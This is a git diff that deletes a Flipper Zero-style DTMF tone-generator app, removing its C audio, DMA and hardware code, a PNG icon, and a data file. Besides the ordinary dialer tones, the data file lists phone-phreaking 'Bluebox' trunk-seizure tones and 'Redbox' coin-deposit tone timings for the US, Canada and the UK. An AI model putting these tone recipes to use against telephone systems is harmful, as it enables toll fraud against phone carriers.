- return 0; - } - // DMA Rate calculation, thanks to Dr_Zlo - float dma_rate = CPU_CLOCK_FREQ / 2 / DTMF_DOLPHIN_HAL_DMA_PRESCALER / - (DTMF_DOLPHIN_HAL_DMA_AUTORELOAD + 1); - - // Using a constant scaling modifier, which likely represents - // the combined system overhead and isr latency. - return (uint16_t)dma_rate * 2 / freq * 0.801923; -} - -void osc_generate_lookup_table(DTMFDolphinOsc* osc, float freq) { - if(osc->lookup_table != NULL) { - free(osc->lookup_table); - } - osc->offset = 0; - osc->cached_freq = freq; - osc->period = calc_waveform_period(freq); - if(!osc->period) { - osc->lookup_table = NULL; - return; - } - osc->lookup_table = malloc(sizeof(float) * osc->period); - - for(size_t i = 0; i < osc->period; i++) { - osc->lookup_table[i] = sin(i * PERIOD_2_PI / osc->period) + 1; - } -} - -void filter_generate_lookup_table( - DTMFDolphinPulseFilter* pf, - uint16_t pulses, - uint16_t pulse_ms, - uint16_t gap_ms) { - if(pf->lookup_table != NULL) { - free(pf->lookup_table); - } - pf->offset = 0; - - uint16_t gap_period = calc_waveform_period(1000 / (float)gap_ms); - uint16_t pulse_period = calc_waveform_period(1000 / (float)pulse_ms); - pf->period = pulse_period + gap_period; - - if(!pf->period) { - pf->lookup_table = NULL; - return; - } - pf->duration = pf->period * pulses; - pf->lookup_table = malloc(sizeof(bool) * pf->duration); - - for(size_t i = 0; i < pf->duration; i++) { - pf->lookup_table[i] = i % pf->period < pulse_period; - } -} - -float sample_frame(DTMFDolphinOsc* osc) { - float frame = 0.0; - - if(osc->period) { - frame = osc->lookup_table[osc->offset]; - osc->offset = (osc->offset + 1) % osc->period; - } - - return frame; -} - -bool sample_filter(DTMFDolphinPulseFilter* pf) { - bool frame = true; - - if(pf->duration) { - if(pf->offset < pf->duration) { - frame = pf->lookup_table[pf->offset]; - pf->offset = pf->offset + 1; - } else { - frame = false; - } - } - - return frame; -} - -void dtmf_dolphin_osc_free(DTMFDolphinOsc* osc) { - if(osc->lookup_table != NULL) { - free(osc->lookup_table); - } - free(osc); -} - -void dtmf_dolphin_filter_free(DTMFDolphinPulseFilter* pf) { - if(pf->lookup_table != NULL) { - free(pf->lookup_table); - } - free(pf); -} - -void dtmf_dolphin_audio_free(DTMFDolphinAudio* player) { - furi_message_queue_free(player->queue); - dtmf_dolphin_osc_free(player->osc1); - dtmf_dolphin_osc_free(player->osc2); - dtmf_dolphin_filter_free(player->filter); - free(player->sample_buffer); - free(player); - current_player = NULL; -} - -bool generate_waveform(DTMFDolphinAudio* player, uint16_t buffer_index) { - uint16_t* sample_buffer_start = &player->sample_buffer[buffer_index]; - - for(size_t i = 0; i < player->half_buffer_length; i++) { - float data = 0; - if(player->osc2->period) { - data = (sample_frame(player->osc1) / 2) + (sample_frame(player->osc2) / 2); - } else { - data = (sample_frame(player->osc1)); - } - data *= sample_filter(player->filter) ? player->volume : 0.0; - data *= UINT8_MAX / 2; // scale -128..127 - data += UINT8_MAX / 2; // to unsigned - - if(data < 0) { - data = 0; - } - - if(data > 255) { - data = 255; - } - - sample_buffer_start[i] = data; - } - - return true; -} - -bool dtmf_dolphin_audio_play_tones( - float freq1, - float freq2, - uint16_t pulses, - uint16_t pulse_ms, - uint16_t gap_ms) { - if(current_player != NULL && current_player->playing) { - // Cannot start playing while still playing something else - return false; - } - current_player = dtmf_dolphin_audio_alloc(); - - osc_generate_lookup_table(current_player->osc1, freq1); - osc_generate_lookup_table(current_player->osc2, freq2); - filter_generate_lookup_table(current_player->filter, pulses, pulse_ms, gap_ms); - - generate_waveform(current_player, 0); - generate_waveform(current_player, current_player->half_buffer_length); - - dtmf_dolphin_dma_init((uint32_t)current_player->sample_buffer, current_player->buffer_length); - - furi_hal_interrupt_set_isr( - FuriHalInterruptIdDma1Ch1, dtmf_dolphin_audio_dma_isr, current_player->queue); - if(furi_hal_speaker_acquire(1000)) { - dtmf_dolphin_speaker_init(); - dtmf_dolphin_dma_start(); - dtmf_dolphin_speaker_start(); - current_player->playing = true; - return true; - } else { - current_player->playing = false; - return false; - } -} - -bool dtmf_dolphin_audio_stop_tones() { - if(current_player != NULL && !current_player->playing) { - // Can't stop a player that isn't playing. - return false; - } - while(current_player->filter->offset > 0 && - current_player->filter->offset < current_player->filter->duration) { - // run remaining ticks if needed to complete filter sequence - dtmf_dolphin_audio_handle_tick(); - } - dtmf_dolphin_speaker_stop(); - dtmf_dolphin_dma_stop(); - furi_hal_speaker_release(); - - furi_hal_interrupt_set_isr(FuriHalInterruptIdDma1Ch1, NULL, NULL); - - dtmf_dolphin_audio_free(current_player); - - return true; -} - -bool dtmf_dolphin_audio_handle_tick() { - bool handled = false; - - if(current_player) { - DTMFDolphinCustomEvent event; - if(furi_message_queue_get(current_player->queue, &event, 250) == FuriStatusOk) { - if(event.type == DTMFDolphinEventDMAHalfTransfer) { - generate_waveform(current_player, 0); - handled = true; - } else if(event.type == DTMFDolphinEventDMAFullTransfer) { - generate_waveform(current_player, current_player->half_buffer_length); - handled = true; - } - } - } - return handled; -} \ No newline at end of file diff --git a/applications/external/dtmf_dolphin/dtmf_dolphin_audio.h b/applications/external/dtmf_dolphin/dtmf_dolphin_audio.h deleted file mode 100644 index 2dd1d6eb6..000000000 --- a/applications/external/dtmf_dolphin/dtmf_dolphin_audio.h +++ /dev/null @@ -1,54 +0,0 @@ -#pragma once -// #include "dtmf_dolphin_i.h" -#include "dtmf_dolphin_event.h" -#include "dtmf_dolphin_hal.h" - -#define SAMPLE_BUFFER_LENGTH 8192 -#define PERIOD_2_PI 6.2832 -#define CPU_CLOCK_FREQ 64000000 - -typedef struct { - float cached_freq; - size_t period; - float* lookup_table; - uint16_t offset; -} DTMFDolphinOsc; - -typedef struct { - float duration; - size_t period; - bool* lookup_table; - uint16_t offset; -} DTMFDolphinPulseFilter; - -typedef struct { - size_t buffer_length; - size_t half_buffer_length; - uint8_t* buffer_buffer; - uint16_t* sample_buffer; - float volume; - FuriMessageQueue* queue; - DTMFDolphinOsc* osc1; - DTMFDolphinOsc* osc2; - DTMFDolphinPulseFilter* filter; - bool playing; -} DTMFDolphinAudio; - -DTMFDolphinOsc* dtmf_dolphin_osc_alloc(); - -DTMFDolphinAudio* dtmf_dolphin_audio_alloc(); - -void dtmf_dolphin_audio_free(DTMFDolphinAudio* player); - -void dtmf_dolphin_osc_free(DTMFDolphinOsc* osc); - -bool dtmf_dolphin_audio_play_tones( - float freq1, - float freq2, - uint16_t pulses, - uint16_t pulse_ms, - uint16_t gap_ms); - -bool dtmf_dolphin_audio_stop_tones(); - -bool dtmf_dolphin_audio_handle_tick(); diff --git a/applications/external/dtmf_dolphin/dtmf_dolphin_data.c b/applications/external/dtmf_dolphin/dtmf_dolphin_data.c deleted file mode 100644 index 72386b83d..000000000 --- a/applications/external/dtmf_dolphin/dtmf_dolphin_data.c +++ /dev/null @@ -1,220 +0,0 @@ -#include "dtmf_dolphin_data.h" - -typedef struct { - const uint8_t row; - const uint8_t col; - const uint8_t span; -} DTMFDolphinTonePos; - -typedef struct { - const char* name; - const float frequency_1; - const float frequency_2; - const DTMFDolphinTonePos pos; - const uint16_t pulses; // for Redbox - const uint16_t pulse_ms; // for Redbox - const uint16_t gap_duration; // for Redbox -} DTMFDolphinTones; - -typedef struct { - const char* name; - DTMFDolphinToneSection block; - uint8_t tone_count; - DTMFDolphinTones tones[DTMF_DOLPHIN_MAX_TONE_COUNT]; -} DTMFDolphinSceneData; - -DTMFDolphinSceneData DTMFDolphinSceneDataDialer = { - .name = "Dialer", - .block = DTMF_DOLPHIN_TONE_BLOCK_DIALER, - .tone_count = 16, - .tones = { - {"1", 697.0, 1209.0, {0, 0, 1}, 0, 0, 0}, - {"2", 697.0, 1336.0, {0, 1, 1}, 0, 0, 0}, - {"3", 697.0, 1477.0, {0, 2, 1}, 0, 0, 0}, - {"A", 697.0, 1633.0, {0, 3, 1}, 0, 0, 0}, - {"4", 770.0, 1209.0, {1, 0, 1}, 0, 0, 0}, - {"5", 770.0, 1336.0, {1, 1, 1}, 0, 0, 0}, - {"6", 770.0, 1477.0, {1, 2, 1}, 0, 0, 0}, - {"B", 770.0, 1633.0, {1, 3, 1}, 0, 0, 0}, - {"7", 852.0, 1209.0, {2, 0, 1}, 0, 0, 0}, - {"8", 852.0, 1336.0, {2, 1, 1}, 0, 0, 0}, - {"9", 852.0, 1477.0, {2, 2, 1}, 0, 0, 0}, - {"C", 852.0, 1633.0, {2, 3, 1}, 0, 0, 0}, - {"*", 941.0, 1209.0, {3, 0, 1}, 0, 0, 0}, - {"0", 941.0, 1336.0, {3, 1, 1}, 0, 0, 0}, - {"#", 941.0, 1477.0, {3, 2, 1}, 0, 0, 0}, - {"D", 941.0, 1633.0, {3, 3, 1}, 0, 0, 0}, - }}; - -DTMFDolphinSceneData DTMFDolphinSceneDataBluebox = { - .name = "Bluebox", - .block = DTMF_DOLPHIN_TONE_BLOCK_BLUEBOX, - .tone_count = 13, - .tones = { - {"1", 700.0, 900.0, {0, 0, 1}, 0, 0, 0}, - {"2", 700.0, 1100.0, {0, 1, 1}, 0, 0, 0}, - {"3", 900.0, 1100.0, {0, 2, 1}, 0, 0, 0}, - {"4", 700.0, 1300.0, {1, 0, 1}, 0, 0, 0}, - {"5", 900.0, 1300.0, {1, 1, 1}, 0, 0, 0}, - {"6", 1100.0, 1300.0, {1, 2, 1}, 0, 0, 0}, - {"7", 700.0, 1500.0, {2, 0, 1}, 0, 0, 0}, - {"8", 900.0, 1500.0, {2, 1, 1}, 0, 0, 0}, - {"9", 1100.0, 1500.0, {2, 2, 1}, 0, 0, 0}, - {"0", 1300.0, 1500.0, {3, 1, 1}, 0, 0, 0}, - {"KP", 1100.0, 1700.0, {0, 3, 2}, 0, 0, 0}, - {"ST", 1500.0, 1700.0, {1, 3, 2}, 0, 0, 0}, - {"2600", 2600.0, 0.0, {3, 2, 3}, 0, 0, 0}, - }}; - -DTMFDolphinSceneData DTMFDolphinSceneDataRedboxUS = { - .name = "Redbox (US)", - .block = DTMF_DOLPHIN_TONE_BLOCK_REDBOX_US, - .tone_count = 4, - .tones = { - {"Nickel", 1700.0, 2200.0, {0, 0, 5}, 1, 66, 0}, - {"Dime", 1700.0, 2200.0, {1, 0, 5}, 2, 66, 66}, - {"Quarter", 1700.0, 2200.0, {2, 0, 5}, 5, 33, 33}, - {"Dollar", 1700.0, 2200.0, {3, 0, 5}, 1, 650, 0}, - }}; - -DTMFDolphinSceneData DTMFDolphinSceneDataRedboxCA = { - .name = "Redbox (CA)", - .block = DTMF_DOLPHIN_TONE_BLOCK_REDBOX_CA, - .tone_count = 3, - .tones = { - {"Nickel", 2200.0, 0.0, {0, 0, 5}, 1, 66, 0}, - {"Dime", 2200.0, 0.0, {1, 0, 5}, 2, 66, 66}, - {"Quarter", 2200.0, 0.0, {2, 0, 5}, 5, 33, 33}, - }}; - -DTMFDolphinSceneData DTMFDolphinSceneDataRedboxUK = { - .name = "Redbox (UK)", - .block = DTMF_DOLPHIN_TONE_BLOCK_REDBOX_UK, - .tone_count = 2, - .tones = { - {"10p", 1000.0, 0.0, {0, 0, 5}, 1, 200, 0}, - {"50p", 1000.0, 0.0, {1, 0, 5}, 1, 350, 0}, - }}; - -DTMFDolphinSceneData DTMFDolphinSceneDataMisc = { - .name = "Misc", - .block = DTMF_DOLPHIN_TONE_BLOCK_MISC, - .tone_count = 3, - .tones = { - {"CCITT 11", 700.0, 1700.0, {0, 0, 5}, 0, 0, 0}, - {"CCITT 12", 900.0, 1700.0, {1, 0, 5}, 0, 0, 0}, - {"CCITT KP2", 1300.0, 1700.0, {2, 0, 5}, 0, 0, 0}, - }}; - -DTMFDolphinToneSection current_section; -DTMFDolphinSceneData* current_scene_data; - -void dtmf_dolphin_data_set_current_section(DTMFDolphinToneSection section) { - current_section = section; - - switch(current_section) { - case DTMF_DOLPHIN_TONE_BLOCK_BLUEBOX: - current_scene_data = &DTMFDolphinSceneDataBluebox; - break; - case DTMF_DOLPHIN_TONE_BLOCK_REDBOX_US: - current_scene_data = &DTMFDolphinSceneDataRedboxUS; - break; - case DTMF_DOLPHIN_TONE_BLOCK_REDBOX_CA: - current_scene_data = &DTMFDolphinSceneDataRedboxCA; - break; - case DTMF_DOLPHIN_TONE_BLOCK_REDBOX_UK: - current_scene_data = &DTMFDolphinSceneDataRedboxUK; - break; - case DTMF_DOLPHIN_TONE_BLOCK_MISC: - current_scene_data = &DTMFDolphinSceneDataMisc; - break; - default: // DTMF_DOLPHIN_TONE_BLOCK_DIALER: - current_scene_data = &DTMFDolphinSceneDataDialer; - break; - } -} - -DTMFDolphinToneSection dtmf_dolphin_data_get_current_section() { - return current_section; -} - -DTMFDolphinSceneData* dtmf_dolphin_data_get_current_scene_data() { - return current_scene_data; -} - -bool dtmf_dolphin_data_get_tone_frequencies(float* freq1, float* freq2, uint8_t row, uint8_t col) { - for(size_t i = 0; i < current_scene_data->tone_count; i++) { - DTMFDolphinTones tones = current_scene_data->tones[i]; - if(tones.pos.row == row && tones.pos.col == col) { - freq1[0] = tones.frequency_1; - freq2[0] = tones.frequency_2; - return true; - } - } - return false; -} - -bool dtmf_dolphin_data_get_filter_data( - uint16_t* pulses, - uint16_t* pulse_ms, - uint16_t* gap_ms, - uint8_t row, - uint8_t col) { - for(size_t i = 0; i < current_scene_data->tone_count; i++) { - DTMFDolphinTones tones = current_scene_data->tones[i]; - if(tones.pos.row == row && tones.pos.col == col) { - pulses[0] = tones.pulses; - pulse_ms[0] = tones.pulse_ms; - gap_ms[0] = tones.gap_duration; - return true; - } - } - return false; -} - -const char* dtmf_dolphin_data_get_tone_name(uint8_t row, uint8_t col) { - for(size_t i = 0; i < current_scene_data->tone_count; i++) { - DTMFDolphinTones tones = current_scene_data->tones[i]; - if(tones.pos.row == row && tones.pos.col == col) { - return tones.name; - } - } - return NULL; -} - -const char* dtmf_dolphin_data_get_current_section_name() { - if(current_scene_data) { - return current_scene_data->name; - } - return NULL; -} - -void dtmf_dolphin_tone_get_max_pos(uint8_t* max_rows, uint8_t* max_cols, uint8_t* max_span) { - max_rows[0] = 0; - max_cols[0] = 0; - max_span[0] = 0; - uint8_t tmp_rowspan[5] = {0, 0, 0, 0, 0}; - for(size_t i = 0; i < current_scene_data->tone_count; i++) { - DTMFDolphinTones tones = current_scene_data->tones[i]; - if(tones.pos.row > max_rows[0]) { - max_rows[0] = tones.pos.row; - } - if(tones.pos.col > max_cols[0]) { - max_cols[0] = tones.pos.col; - } - tmp_rowspan[tones.pos.row] += tones.pos.span; - if(tmp_rowspan[tones.pos.row] > max_span[0]) max_span[0] = tmp_rowspan[tones.pos.row]; - } - max_rows[0]++; - max_cols[0]++; -} - -uint8_t dtmf_dolphin_get_tone_span(uint8_t row, uint8_t col) { - for(size_t i = 0; i < current_scene_data->tone_count; i++) { - DTMFDolphinTones tones = current_scene_data->tones[i]; - if(tones.pos.row == row && tones.pos.col == col) { - return tones.pos.span; - } - } - return 0; -} diff --git a/applications/external/dtmf_dolphin/dtmf_dolphin_data.h b/applications/external/dtmf_dolphin/dtmf_dolphin_data.h deleted file mode 100644 index 56ceaf03d..000000000 --- a/applications/external/dtmf_dolphin/dtmf_dolphin_data.h +++ /dev/null @@ -1,36 +0,0 @@ -#pragma once -#include -#include -#include - -#define DTMF_DOLPHIN_MAX_TONE_COUNT 16 - -typedef enum { - DTMF_DOLPHIN_TONE_BLOCK_DIALER, - DTMF_DOLPHIN_TONE_BLOCK_BLUEBOX, - DTMF_DOLPHIN_TONE_BLOCK_REDBOX_US, - DTMF_DOLPHIN_TONE_BLOCK_REDBOX_UK, - DTMF_DOLPHIN_TONE_BLOCK_REDBOX_CA, - DTMF_DOLPHIN_TONE_BLOCK_MISC, -} DTMFDolphinToneSection; - -void dtmf_dolphin_data_set_current_section(DTMFDolphinToneSection section); - -DTMFDolphinToneSection dtmf_dolphin_data_get_current_section(); - -bool dtmf_dolphin_data_get_tone_frequencies(float* freq1, float* freq2, uint8_t row, uint8_t col); - -bool dtmf_dolphin_data_get_filter_data( - uint16_t* pulses, - uint16_t* pulse_ms, - uint16_t* gap_ms, - uint8_t row, - uint8_t col); - -const char* dtmf_dolphin_data_get_tone_name(uint8_t row, uint8_t col); - -const char* dtmf_dolphin_data_get_current_section_name(); - -void dtmf_dolphin_tone_get_max_pos(uint8_t* max_rows, uint8_t* max_cols, uint8_t* max_span); - -uint8_t dtmf_dolphin_get_tone_span(uint8_t row, uint8_t col); \ No newline at end of file diff --git a/applications/external/dtmf_dolphin/dtmf_dolphin_event.h b/applications/external/dtmf_dolphin/dtmf_dolphin_event.h deleted file mode 100644 index 525d0eb04..000000000 --- a/applications/external/dtmf_dolphin/dtmf_dolphin_event.h +++ /dev/null @@ -1,21 +0,0 @@ -#pragma once - -typedef enum { - DTMFDolphinEventVolumeUp = 0, - DTMFDolphinEventVolumeDown, - DTMFDolphinDialerOkCB, - DTMFDolphinEventStartDialer, - DTMFDolphinEventStartBluebox, - DTMFDolphinEventStartRedboxUS, - DTMFDolphinEventStartRedboxUK, - DTMFDolphinEventStartRedboxCA, - DTMFDolphinEventStartMisc, - DTMFDolphinEventPlayTones, - DTMFDolphinEventStopTones, - DTMFDolphinEventDMAHalfTransfer, - DTMFDolphinEventDMAFullTransfer, -} DTMFDolphinEvent; - -typedef struct { - DTMFDolphinEvent type; -} DTMFDolphinCustomEvent; \ No newline at end of file diff --git a/applications/external/dtmf_dolphin/dtmf_dolphin_hal.c b/applications/external/dtmf_dolphin/dtmf_dolphin_hal.c deleted file mode 100644 index b556c7145..000000000 --- a/applications/external/dtmf_dolphin/dtmf_dolphin_hal.c +++ /dev/null @@ -1,52 +0,0 @@ -#include "dtmf_dolphin_hal.h" - -void dtmf_dolphin_speaker_init() { - LL_TIM_InitTypeDef TIM_InitStruct = {0}; - TIM_InitStruct.Prescaler = DTMF_DOLPHIN_HAL_DMA_PRESCALER; - TIM_InitStruct.Autoreload = DTMF_DOLPHIN_HAL_DMA_AUTORELOAD; - LL_TIM_Init(FURI_HAL_SPEAKER_TIMER, &TIM_InitStruct); - - LL_TIM_OC_InitTypeDef TIM_OC_InitStruct = {0}; - TIM_OC_InitStruct.OCMode = LL_TIM_OCMODE_PWM1; - TIM_OC_InitStruct.OCState = LL_TIM_OCSTATE_ENABLE; - TIM_OC_InitStruct.CompareValue = 127; - LL_TIM_OC_Init(FURI_HAL_SPEAKER_TIMER, FURI_HAL_SPEAKER_CHANNEL, &TIM_OC_InitStruct); -} - -void dtmf_dolphin_speaker_start() { - LL_TIM_EnableAllOutputs(FURI_HAL_SPEAKER_TIMER); - LL_TIM_EnableCounter(FURI_HAL_SPEAKER_TIMER); -} - -void dtmf_dolphin_speaker_stop() { - LL_TIM_DisableAllOutputs(FURI_HAL_SPEAKER_TIMER); - LL_TIM_DisableCounter(FURI_HAL_SPEAKER_TIMER); -} - -void dtmf_dolphin_dma_init(uint32_t address, size_t size) { - uint32_t dma_dst = (uint32_t) & (FURI_HAL_SPEAKER_TIMER->CCR1); - - LL_DMA_ConfigAddresses(DMA_INSTANCE, address, dma_dst, LL_DMA_DIRECTION_MEMORY_TO_PERIPH); - LL_DMA_SetDataLength(DMA_INSTANCE, size); - - LL_DMA_SetPeriphRequest(DMA_INSTANCE, LL_DMAMUX_REQ_TIM16_UP); - LL_DMA_SetDataTransferDirection(DMA_INSTANCE, LL_DMA_DIRECTION_MEMORY_TO_PERIPH); - LL_DMA_SetChannelPriorityLevel(DMA_INSTANCE, LL_DMA_PRIORITY_VERYHIGH); - LL_DMA_SetMode(DMA_INSTANCE, LL_DMA_MODE_CIRCULAR); - LL_DMA_SetPeriphIncMode(DMA_INSTANCE, LL_DMA_PERIPH_NOINCREMENT); - LL_DMA_SetMemoryIncMode(DMA_INSTANCE, LL_DMA_MEMORY_INCREMENT); - LL_DMA_SetPeriphSize(DMA_INSTANCE, LL_DMA_PDATAALIGN_HALFWORD); - LL_DMA_SetMemorySize(DMA_INSTANCE, LL_DMA_MDATAALIGN_HALFWORD); - - LL_DMA_EnableIT_TC(DMA_INSTANCE); - LL_DMA_EnableIT_HT(DMA_INSTANCE); -} - -void dtmf_dolphin_dma_start() { - LL_DMA_EnableChannel(DMA_INSTANCE); - LL_TIM_EnableDMAReq_UPDATE(FURI_HAL_SPEAKER_TIMER); -} - -void dtmf_dolphin_dma_stop() { - LL_DMA_DisableChannel(DMA_INSTANCE); -} diff --git a/applications/external/dtmf_dolphin/dtmf_dolphin_hal.h b/applications/external/dtmf_dolphin/dtmf_dolphin_hal.h deleted file mode 100644 index 5b426f6a0..000000000 --- a/applications/external/dtmf_dolphin/dtmf_dolphin_hal.h +++ /dev/null @@ -1,33 +0,0 @@ -#pragma once -#include -#include -#include -#include -#include - -#define FURI_HAL_SPEAKER_TIMER TIM16 -#define FURI_HAL_SPEAKER_CHANNEL LL_TIM_CHANNEL_CH1 -#define DMA_INSTANCE DMA1, LL_DMA_CHANNEL_1 - -#define DTMF_DOLPHIN_HAL_DMA_PRESCALER 4 -#define DTMF_DOLPHIN_HAL_DMA_AUTORELOAD 255 - -#ifdef __cplusplus -extern "C" { -#endif - -void dtmf_dolphin_speaker_init(); - -void dtmf_dolphin_speaker_start(); - -void dtmf_dolphin_speaker_stop(); - -void dtmf_dolphin_dma_init(uint32_t address, size_t size); - -void dtmf_dolphin_dma_start(); - -void dtmf_dolphin_dma_stop(); - -#ifdef __cplusplus -} -#endif \ No newline at end of file diff --git a/applications/external/dtmf_dolphin/dtmf_dolphin_i.h b/applications/external/dtmf_dolphin/dtmf_dolphin_i.h deleted file mode 100644 index f8ae1530f..000000000 --- a/applications/external/dtmf_dolphin/dtmf_dolphin_i.h +++ /dev/null @@ -1,42 +0,0 @@ -#pragma once - -#include "scenes/dtmf_dolphin_scene.h" - -#include -#include -#include -// #include -// #include -#include -#include -#include - -#include "dtmf_dolphin_event.h" - -#include "views/dtmf_dolphin_dialer.h" - -#define TAG "DTMFDolphin" - -enum DTMFDolphinSceneState { - DTMFDolphinSceneStateDialer, - DTMFDolphinSceneStateBluebox, - DTMFDolphinSceneStateRedboxUS, - DTMFDolphinSceneStateRedboxUK, - DTMFDolphinSceneStateRedboxCA, - DTMFDolphinSceneStateMisc, -}; - -typedef struct { - ViewDispatcher* view_dispatcher; - SceneManager* scene_manager; - VariableItemList* main_menu_list; - DTMFDolphinDialer* dtmf_dolphin_dialer; - - Gui* gui; - // ButtonPanel* dialer_button_panel; - // ButtonPanel* bluebox_button_panel; - // ButtonPanel* redbox_button_panel; - NotificationApp* notification; -} DTMFDolphinApp; - -typedef enum { DTMFDolphinViewMainMenu, DTMFDolphinViewDialer } DTMFDolphinView; diff --git a/applications/external/dtmf_dolphin/phone.png b/applications/external/dtmf_dolphin/phone.png deleted file mode 100644 index 9c4d04c021d43a434edbddf63c0109213f9ad177..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 8723 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 